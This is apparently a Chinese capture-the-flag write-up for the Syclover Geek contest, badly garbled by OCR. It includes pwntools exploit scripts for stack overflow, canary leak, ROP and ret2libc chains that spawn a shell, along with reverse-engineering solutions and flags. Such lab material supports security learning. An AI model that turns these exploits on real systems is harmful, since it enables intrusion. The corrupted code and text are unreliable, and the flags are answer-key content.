system("/bin/sh"};

3R BATE B IR IR Bl 2 0x040079B, A A LAB R REH shell T .



from pwn import

, log level

if content 1:
ly process(
else:
ly remote( , 1000)

payload = b (ox70 + 8) #6440 —Aebpi8bytes
payload = payload + p64(0x040079B) #HFHEEIFZIH shelldy4 ik H RN

ly.recvuntil(

ly.sendline(payload)

ly.interactive()

main()

baby canary()5)
EF=

e canaryitt i

systemg £t R — NS5 FT PSR EXrd

réo%@irianay_faé —:,-:i B /AZ/kE AL /baby canary# ROPgadget --binary baby canary
--only "pop|ret"
Gadgets information

0x000000000040086¢C : pop rl2 ; pop rl3 ; pop rl4 ; pop rl5 ; ret
0x000000000040086e : pop rl3 ; pop rl4 ; pop rl5 ; ret

0x000000000040087@ : pop rl4 ; pop rls ; ret

0x0000000000400872 : pop rl5 ; ret

0x000P00OPO040086b : pop rbp ; pop rl2 ; pop rl3 ; pop rl4 ; pop rl5 ; ret
0x000P00000040086T : pop rbp ; pop rl4 ; pop rl5 ; ret

Ox0000000000400668 : pop rbp ; ret

(e} qcTelalaTalalaTaTaTsERaTat: : i ;

Ox0000000000400871 : pop rsi ; pop rl5s ; ret

0x000000000040086d : pop rsp ; pop rl3 ; pop rl4 ; pop rl5 ; ret
0xX000000000040059%9e : ret




from pwn import

from LibcSearcher import

, log level

if content 0:

ly process(
else:

ly remote(
elf = ELF( )
binsh (elf.search(b
system = elf.symbols|
rdi_ret 0x400873
ly.recvuntil(
offest 0x70 ox8

payload b offest
ly.sendline(payload)

ly.recvuntil(b offest)
Canary u64(ly.recv(8))-0xa

log.info( (Canary))

payload b offest p64(Canary) p64(rdi_ret) +p64(binsh) p64(system)
ly.send(payload)

ly.interactive()

main()

pwn111(J5)
EP=¥

ROPH: A
BT EZAwite BB =S L EEHIsiFFR NS

PItER Hh R FE 5 P B 3, got R $ i .got.plt T H &R H it ik



root@liangyue:~/E @ /K F /1 Z A #k & /pwnlll# ROPgadget --binary pwnlll --only "p
op|ret”
Gadgets information

@x000000000040122¢c : pop rl2 ; pop rl3 : pop rl4 ; pop rl5 ; ret
@x000000008040122e : pop rl3 : pop rl4 : pop rl5 ; ret
@x0000000080401230 : pop rl4 : pop rl5 : ret

0x0000000000401232 : pop rl5 ; ret

0x000000000040122b : pop rbp ; pop rl2 ; pop rl3 ; pop rl4 ; pop rl5 ; ret
0x000000000040122T : pop rbp ; pop rl4 ; pop rls ; ret
0x000000000040112d : pop rbp ; ret

0x0000P00000401233 : pop rdi ; ret

@x0000000080401231 : pop rsi : pop rl5 : ret

@x000000000040122d : pop rsp : pop rl3 : pop rl4 ; pop rl5 ; ret
0x000000000040101a : ret

Unique gadgets found: 11

BT pop rsi fa, &FA pop ri15 FEE ret, FTLARAIFEELE pop ri15 KIFHMERAN— 0, MElibcEMhE KA T .



from pwn import

from LibcSearcher import

, log level

if content 0:
ly process(
else:

ly = remote(

main = elf.symbols[

pop_rdi 0x401233

pop_rsi ri5 0x401231
write_plt elf.plt] ]
write_got = elf.got[ ]
binsh_libc (libc.search(b
write_libc = libc.symbols[
system_libc libc.symbols|[

payload = b (ox80 + 0x8)
payload p64(pop_rdi) p64(1)+p64(pop_rsi_ril5) +p64(write_got)+p64(123) p64(write_plt) p64(main)

ly.sendlineafter( ,payload)

write_addr = u64(ly.recv(8))

offset = write_addr - write_libc
binsh offset binsh_libc
system = offset system_libc

payload2 = b (ox80 + 8)

payload2 p64(pop_rdi)

payload2 p64(binsh)

payload2 p64(system)

ly.sendlineafter( , payload2)
ly.interactive()

—“TU"eH

% B R PR

AR KPR QQEF R B B 1% 5




I A E K PR

SHERLRANMAIBEH
Syclover & Geek

O/ (avia ON LA

DTLANVED 70 veld

EHERLBERNABRE 2 p =
B+ -BREXRBEWR gmoare <

E ## 2. 2020-10-16 19: 00 4213%=E

LR20226 8 REBEFRDE LtEZFEQQEE B#QQEF
ﬁSUﬁWJ : ﬁ?%ﬁ*mﬁ& Official Sponsor of the Olympic Winter Games Beijing 2022 1121885420 736564955
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2. H 4T Frkaliff FH binwalk 7 55 & H

root@kali:~# binwalk Desktop/FFHT.jpg

DECIMAL HEXADECIMAL DESCRIPTION

JPEG image data, JFIF standard 1.01
@=3CD29 Zip archive data, at least v2.0 to extract, compressed size: 2857, uncompressed size: 3389, name: L
LRR.png
252114 @=3D8D2 End of Zip archive, footer length: 22

root@kali:~# binwalk Desktop/FFHT.jpg -e
DECIMAL HEXADECIMAL DESCRIPTION
JPEG image data, JFIF standard 1.01
@x=3CD29 Zip archive data, at least v2.0 to extract, compressed size: 2857, uncompressed size: 3389, name: L
;Egig:g @=3D8D2 End of Zip archive, footer length: 22

root@kali:~# binwalk Desktop/FFHT.jpg -efl
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1.78 Flexe, BT exeinfoniE & 3241

Il Exeinfo PE - ver.0.0.6.2 by AS.L - 1083+07 sign 2020.07.10 — X
i}Zﬁ:(E}“HeIIoRE.exe ||_£_E| |_=__|
=~ g#EAL: < WOER: [t B | [l
PR ARFf: ecoccol @ | i@
o EESENE 222 FHEH: |winconsol || pe [ & |
irf#l [o001296Fh [<| [n] PfihN#HE: [ooooseer | Q S}
E Image is 32bit executable RES/OVL: 0 [ 26 % @ i =
[[(GNU) 4.5.2] - GCC MINGW-64w compiler for 32 / 64 bit Win (exe ) -| b7 5 EmE)
WEEE - 2EEhET - e R f =
|Not packed , try www.ollydba.de or x64 debug w0025 www.xﬁ‘ldbg.oﬁg_!'@ | BF |
I -

2.ida 32T H

shift+F 128 3k 747 8, K IR £ flag 74 &

EE



‘5’| . rdata:00+ 0000001F C SYC{Bay Hella_tH3 Re World!!!}
E _rdata: 00 0000001F C SYC{Say h31lo_th3 rE World'!!}
‘5’| . rdata:00+ 0000001F C SYC{=dy helll_The RE_wirid!!!}
E crdata: 00 0000001F C SYC{S4y Hella_th3 RE World!!!}
5| .rdata:00- 0O000O1F C SYC{sdy HellO _The rE_wir1d™™"}
E _rdata: 00 0000001F C SYC{=ay h3110_Th3_RE_wirld!!!}
5| .rdata:00- 0O000O1F C SYC{sdy hellO_th3 rE_wirld™™"}
5| .rdata:00- 0O000O1F C SYC{sdy hello_The r3 world!!!}
‘5’| . rdata:00+ 0000001F C SYC{Say HellO_th3_r3_wirid!!!}
5| .rdata:00- 0O000O1F C SYC{say Hello The rE_world!!!}
5| .rdata:00- 0O000O1F C SYC{say hello_the r3 World ™™™}
5| .rdata:00- 0O000O1F C SYC{Say HellO _The rE_wir1d™™"}
E crdata: 00 0000001F C SYC{S4y H3110_th3_RE World!!™}

3. X HiBEFT 2=, % A7 Blchar aSycS4yHe110Th3[]

.rdata: 88484068 db @ah,8

.rdata:8046488C aSycSayHelloTh3 db 'SYC{5ay_Hello tH3_Re Werld!!!}',@

.rdata:ee4848aC ; DATA XREF: .data:_ 233to
Lrdata: 8404828 align 4

.rdata:ee48482C aSycSayH31loTh3 db 'SYC{Say_h31lle th3 rE_World!!!}',8

.rdata:e848482C ; DATA XREF: .data:@e4838A4To
.rdata: 88484848 align 4

Lrdata:ee4e484C aSycS4yHell@The db "SYC{s4y_hell@ The RE_wérld!!!}’,8

.rdata:ee4e484C ; DATA XREF: .data:@e4@3@s3To
.rdata:ee4e4068 align 4

.rdata:ee4e486C ; char aSycS4yHelloTh3[]

Lrdata:ee4e486C aSycS4yHelloTh3 db "SYC{S4y Hello th3 RE_World!!!}’,@

.rdata:ee48486C ; DATA XREF: _maint+78Te
.rdata:eede166C ; .data:eede3escto

.rdata: 28484858 align 4

Lrdata:ae4e483C aSycS4yHell@The @ db "SYC{s4y Hell® The_ rE_wlrlde-}",8

.rdata: 88484850 ; DATA XREF: .data:@e4e@3eseto
Lrdata: 88404048 align 4

.rdata:8e484BAC aSycSayH3118Th3 db "SYC{say_h31l@ Th3 RE werld!!!}’,8

.rdata:e84840AC ; DATA XREF: .data:@@4838B4To
.rdata: 28484808 align 4

Lrdata:ee4e48Ct aSycS4yHell8Th3 db "SYC{s4y_hell@ th3_rE_wl@rlde~~}',8

.rdata:ee4848CC ; DATA XREF: .data:@e4@3@B3To
.rdata:@e4e40EB align 4

.rdata:8e484BEC aSycS4yHelloThe db "SYC{s4y hello The r3 world!!!}’,8

.rdata:884848EC ; DATA XREF: .data:@@4838BCTo
.rdata: 88484108 align 4

.rdata:ee4e41a8C aSycSayHell®Th3 db "SYC{Say_Hell@ th3 r3_weérld!!!}’,8

.rdata:ee48418C ; DATA XREF: .data:@ed4e3eceto
.rdata:@e4e4128 align 4

.rdata:8e48412C aSycSayHelloThe db 'SYC{say Hello The rE_world!!!}’,8

.rdata:e848412C ; DATA XREF: .data:@e4838C4To
.rdata: 88484148 align 4

.rdata:ee4e414C aSycSayHelloThe_@ db "SYC{say hello_the_r3 Worlde-}",8
.rdata:ee48414C ; DATA XREF: .data:@e4e@3eCitoe
.rdata:@e4e4168 align 4

.rdata:@e40416C aSycdayHel1@The db 'SYC{Say Hell@ The rE_wlrlde~~1', @

.rdata:8848416C ; DATA XREF: .data:@@4838CCTo
.rdata:@e484158 align 4

.rdata:@040418C aSycS4yH3118Th3 db "SYC{S4y H311@_th3_RE_World!!~}',@

.rdata:ee48415C ; DATA XREF: .data:@e4e3epato
A AGBARATAD =T 3= A

RATRT)
RET LS
WS HEE
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100

1. 453 .sys RSN 14
2.8 itwinhex¥T 7,3 & SYC B 7] & Flflag

WAy PGB linuxdT 7T —#t ) SO T B E

WhatsApk

leohearts

- EBH: https://leohearts.com/nextcloud/index.php/

s/TCx6owCKgTTRTLR SR HiEA: ¥60sES|Android! £RA]
AP ?

100

% FUAPKE 1

1RIE RIS & T apk X451

AssetsH % IR E 3T 6 B APKIR #: 25 30
Lib H 3% 2R Finative

META-INF B 3% TN P A2 P 25 42 FIE F5 i H %
ResH % RIS F A2 PP B BRI

AndroidManifest.xml N FE FF B e B SO



AssetsH TR BT 8 3 APK 8 28 U
Classes.dex DexH] $147 L

Resources.arsc BRI B SO

2. A jadx¥T FrWhatsApk.apk, & if #|Resources

oo e
i res
-] META-INF
+|_E| rezources. arsc
=| AndroidiManifest. xml
Lol classes. dex

3.fEResources.arsc3 1 #% Flflag

% R TR

HelloAndroid

leohearts

- B4 https://lechearts.com/nextcloud/index.php/
s/4bYA7g3B6FoRbNA EHfiit: #—MRFFAYAndroid
e TERE.

- jadx / JEB

100

1 MRHE IR R £ Androidi¥li 1) TR
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| &) Text search

Search for text:

g1

Search definitions of Search options :
I:‘C].ass DHethod DFie].d Code I:lCase insensitive

Hode Code

CH o _ R S - .
B geek. lechearts. helloandroid ui. login Loginfctivity. updatell String welcome = "SYC NEG———iesm——

% R

lingze

B4 : https://share.weiyun.com/hAioguF1

RS E, BEE&ERpython,

150

1,64 ELF 314

r?:l

L]

; SZEFE) [re00 [ pa =

e < DB i

_ e i i e

- EEEEEE FEE [&]

: A <| o FiboddE | & ||

[ =
'f_" Diagnose: = =

' [NOT Win EXE - .0 - ELF executable [ 64bit obj. Shared obj file - CPU < &) whapigis  4230(e)

= SRS e FaiEs = =

| B |ELF packer not detected , Sorry | 9 e Ex

2381t idaB4 I FT FF shift+F12

5E fir Blflaghil R FRF B FEA



['s’] LUl uuuu== LU0 A L _1ITM registerTMUlonelable
crodata: 0 00000022 C This i1s a simple reverse problem!
crodata: 0 00000015 C please input your flag:
crodata 0 00000003 C nonona!
crodata: O 0000000T C wow, almost
crodata: 0 00000011 C ves! wou get it!

3. XX 5| MFIR )G F5 I 4 # A5 2 Dy ALRY
ST R

4 %\ (BPflag)Fibyte_4060[i] » Ox44 %

5.5 firbyte_4060

data:BOBGRBAGEARRLEE8 : char bvie inqn_-;?]'” -

ta:epepepepeaea4a60 C yte_ 4868
data:2e00000000804060 byte 4868 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
data:ea00000000001060 ; DATA XREF: main+93to
data:228000000000804060 db 37h, 20h, 2%h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
data:ea00000000001060 db 1Bh, 386h, 2Dh, 23h, 2Ch, 38h, 2 dup(7Bh), 39h
data: ARAFRGRRRAARALARE  data ends=

shift+F 1232 BUSUE ok

D EHzE ®

=

O hex FRTER(REH)

O hex FHR (AN

O FHBxF

® CERIFSEREER (st
O cRIFSEFEER (it
O cEEMiaf

O FfaFH

L] Res#ERIEMAAR

gyl

unsigned char 1da_chars[] =

0x17, OxlD, 0207, Ox3F, 0237, OxED, Ox25, Ox34, Ox28, OxZi,
0x1B, 0Ox37, Ox2D, Ox29, Ox34, O0xES, Ox21, Ox1B, 0Ox3C, OxZE
0x36, 0x36, 0x36, OxlB, Ox36, OxED, Ox23, 0x2C, 0x30, Ox7E

0:z7B, 0x39
b
iT:1 o1
ﬁﬁtﬂj{ﬂ# |export_results.txt e
cood
EAE y LOUE XEEFS S'IZEF“'IH-:!EIP.

6.8 1 pythonF 875 Flflag



0x07, Ox3F, Ox37, Ox2D, 0x29, 0x34, Ox28, Ox21,
Ox2D, ©x29, Ox34, Ox28, Ox21, Ox1B, Ox3C, Ox2B,
0x36, Ox1B, Ox36, Ox2D, Ox23, Ox2C, Ox30, Ox7B,

(a[i] ox44),end

ljahum+

On a dark desert highway, cool wind in my hair... | go
t lost in this complex maze, can you tell me the right
way? flag is SYC{(your input)} BIB#{4: https://share.
weiyun.com/CQYI1ZJib

150

% m RSt

1.32frexe X4

¥ Exsinfo PE - ver.0.06.2 by ASL- 1083+97 sign 2020.07.10 — X

HHEE) [maze.oxe [ pa =
~  #FAD: <| ARER: = il
3 TR 2O o fitHE
ey EEBEF47 FRG: PE [ & |

| s <! [u] B -

1] )@JH

Image is 32bit executable RES/OVL:0 /0% 2020

|I'~"Ii|:rosu:|1"t Visual C++ v.14 - 20xx { EB ) microsoft.com - no sec. Cabﬁ'ﬂ HhEREIHE $2H1(P)
TSR - BT - RRER —_
|N0t packed , try www.ollydba.de or x64 debug w0025 '..\"..\"..\'.x64dbg.|:|| 9 2

ExeinfolBE

|n
W

2.ida32fz4T JFshift+F12

il exe iz 4T E AL B T HE K



ata: 00+ 00000015
ata: 00+ 00000356
ata:00=+ 00000012
ata: 00+ 00000005
ata:00=+ 00000014
ata:00=+ 00000019
ata: 00+ 00000016

10s_baze  eofbit =et
- Wd AN
Zive Me Wour way
%Eds
Ur not on the way!
ttttttttttttttttttttgl!!
iostream stream error

Lo IO e R e I o I e T R e A e I e

ata;00--- 00000117 LLE-T.1 a 0_000000000_ 000__000_0000000000_0000""
ata: 00+ 00000005 GCTL
B Ch\Users\)\Desktop\tREAHEEE\Re\maze\maze.exe — O E4

3.B8, X X 5| F%13% F5 = 4 545 B D ARG

4 St RS
(1) fr BlswitchfEh

HcasefH H B F 1T &, RIL2AW,s, A5 2 T [ 4

switch ( )
{ v v
case 'w':
-= 31;
goto LABEL_11;
case "s':
+= 31;
goto LABEL_11;
case 'd':
++u5;
goto LABEL_11;

BEaEENNSH
On a dark desert highway, cool wind in my hair... I got lost in this complex maze, can you tell me the right way?

FERBERDEAR L, EREOXNKHERKKLE. ... REXNMERORETEE T, REGHFRELAEG?
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Hello .NET

- antidotes

= E{]‘{it https://share.weiyun.com/b3bvSVXw EH
Tk IR SFH.NETHA

150

# . et

1. TFEITHERF £ netidafT FERARE R

Hello .NET

Please input your flag:

Check

Mlcrosoft*

NET

2. _E#ER T A (LSpy)$TF




=W = fﬁ\p P
WpfApp
+ 9 3IA

s {0
0

FF O FE
m m

3]
m

3.8z B|Mainwindowig £

namespace WpfAppCS
{

public class MainWindow : Window, IComponentConnector

{

private void Check(object sender, RoutedEventArgs e)
{
string text = this.InputBox.Text;
List<int> list new List<int>();
int[] array = new int[]
{
18,14,40,-14,-2,30,10,42,35,48,43,49,52,72,57,68,86,145,115,128,115, 86
¥
int num crel
while (list.Count < text.Length)
{
bool flag true;
for (int i BE
{
bool flag2 num
if (flag2)
{
flag false;
break;
}
}
bool flag3 flag;
if (flag3)
{
list.Add(num);

2;

bool flag4 = true;

num 0;

while (num < text.Length num array.Length)
{

bool flag5 list[num] (int)text[num] array[num];
if (flagb)




break;

}

num++;

}

bool flag6 = text.Length array.Length flagd;
if (flagb)

{

this.Status.Foreground new SolidColorBrush(Colors.Green);
this.Status.Text ;

}

else

{

this.Status.Foreground new SolidColorBrush(Colors.Red);
this.Status.Text ;

4 5t AAS

(1B E e R E M E K E==arrayK 22
(2)listli]-4 \ A& [i]=array]i]
(3)list]]H & 9100 LA _EFI & $HR 224

555 N REMAF2I22M00LL EHITRE

(100,300) :

num.append (i)

if (num) 22:
print(num)
break

EARIElistfi]-4 N & [i]=array[i|#5 B N & 5] %

[1e1, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 21

[18,14,40,-14,-2,30,10,42,35,48,43,49,52,72,57,68,86,145,115,128,115,86]
[]

for i in (0,22):

c.append(a[i]-b[i])
print(c)

BJE & F£asciix




pl
b pl.split(
print(b)

S

for i in b:
s (
print(s)

B w] 45 Zlflag

un_snake

CrQss

4y ERithhb: https://share.weiyun.com/p4beEij5P BB
w: FEEA: A0ARE? AEEERFEEEA

ZFPythonl? HEFAEPython3.8.5 64bit! SIEA 3.9
0? BLREEAEE!

250

EP=W

fift 7L

1. FEHE B —/ . pycX 4

2 1 2R I Y VEA RE 48 B0 1E 1 9 7

3. T pip Z&uncompyle6Z 5

#r44Tuncompyle6 **.pyc B 7] 18 3| )z 4 % J5 AR
153 4 ¥ Ja KA

4 4315 5niE R R E ¥ 5 enc ik $UE AT — il pre iR B B) AT 45 Flflag

5.t payload,iz 1775 Flflag



from base64 import

def enc_decode(plain):
plain (plain)

for i in ( (plain)

plain[i]

(plain)):

plain[i]
for i in (
C plain[i]
(c
plain[::-1]

return plain

plain[i]

plain

pre(data):
thls
data_len
thls_len
if data_len thls_len:
thils thils (data_len

return (

(CELE))
(thils)

if _ _name__

result b64decode (b
stuff_ready
flag

print(flag)

pre(stuff_ready)

Easy_virus(J5)

2,

plain[i

(lambda x, y:

1,
1]

.encode()

thls_len)

1):

thls[:data_len

X y, data, thils))

enc_decode(result)

1308 b 234 % B = E C AL G AT AT S

EREERE

file CASYC_DLLdI

EXf RS FRREERTRTT

2. FidafT FdI R A ZHE R, 45 A 1 AE IX 2 — MRS PE U/

3. FwinhexfEii BB &5

BN BE R — AN T AT PERI A R B R RT3

4 58 S5 R LA IDA PEST T

RIS B3R

5% (0000->4D5ARNT)

thls_len]




.model flat

5 Segment type: Pure code

; Segment permissions: Read/Execute

.text segment para public "CODE' use32

assume cs:.text

;org 1easleash

assume es:nothing, ss:nothing, ds:.data, fs:neothing, gs:nothing

5 Attributes: bp-based frame

public S¥Cfuction
syCfuction proc near

Text= byte ptr -24h
var_l4= dword ptr -14h
var_1@8= dword ptr -18h
var_C= byte ptr -@Ch
var_B= dword ptr -8Bh
var_4= dword ptr -4

push ebp

mov ebp, esp

sub esp, 24h

mow eax, _  security_cookie

xor eax, ebp

mow [ebp+var_4], eax

movaps xmm@, ds:xmmword 18882808
lea eax, [ebp+Text]

push -] 3 uType
push offset Caption ; "#E8 TitfilwindowsZ 0]
push eax ; lpText
push a 5 hknd
movups xmmword ptr [ebpd+Text], xmm@
mow [ebp+var_14], BEG95766h

mov [ebpt+var_ 18], 73776F64h

maw [ebp+var_C], 7Dh

mov [ebp+var B], @

call ds:MessageBoxA

mov ecx, [ebptvar_4]

xor ecx, ebp

call @_ security check cookief4 ;  security check_cookie(x)
mow esp, ebp

pop ebp

5.7£100020c0 9 £ 25 T K745 4 & Bl Aflag

.rdata:1888289C Caption db '#E “H#HHlwindows2 A i7" ,8 ; DATA XREF: SYCfuction+iCto
.rdata: 10682865 align 1@h

.rdata: 18688268 mmrd_l%dlﬁc@ xmmword G6F646F475FE572615F756F597B435953h

.riata: loaorere— T DATA XREF: SyLTuction+l@tr
.rdata: 18282808 ; Debug Directory entries

.rdata: 18862606 dd @ ;3 Characteristics

.rdata: 18882804 dd S5F248652h ; TimeDateStamp: Wed Aug 85 18:13:38 2
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